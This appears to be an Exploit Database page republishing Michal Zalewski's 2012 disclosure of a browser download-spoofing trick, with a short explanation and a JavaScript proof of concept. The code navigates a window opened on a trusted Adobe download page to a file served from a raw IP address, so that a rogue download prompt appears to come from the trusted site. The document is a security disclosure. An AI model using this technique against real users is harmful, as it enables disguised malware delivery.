Browsers Browsers – Navigation Download Trick

• Exploit Database
• 15 阅读

• 作者： Michal Zalewski
  日期： 2012-05-31
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/18959/

• Another moderately interesting tidbit, I guess...
  
  It is an important and little-known property of web browsers that one
  document can always navigate other, non-same-origin windows to
  arbitrary URLs. Perhaps more interestingly, you can also navigate
  third-party documents to resources served with Content-Disposition:
  attachment, in which case, you get the original contents of the
  address bar, plus a rogue download prompt attached to an unsuspecting
  page that never wanted you to download that file.
  
  PoC:
  http://lcamtuf.coredump.cx/fldl/
  
  ==========
  <input type=submit onclick="doit()" value="Click me. I like to be clicked.">
  <script>
  var w;
  var once;
  
  function doit() {
  
  if (navigator.userAgent.indexOf('MSIE') != -1)
  w = window.open('page2.html', 'foo');
  else
  w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');
  
  setTimeout(donext, 4500);
  
  }
  
  function donext() {
  window.open('http://199.58.85.40/download2.cgi', 'foo');
  if (once != true) setTimeout(donext, 5000);
  once = true;
  }
  </script>
  ==========
  
  
  More info:
  http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html
  
  It's closely related to many other fundamental, open issues with
  browser UI design - but I guess it's an interesting highlight.
  
  /mz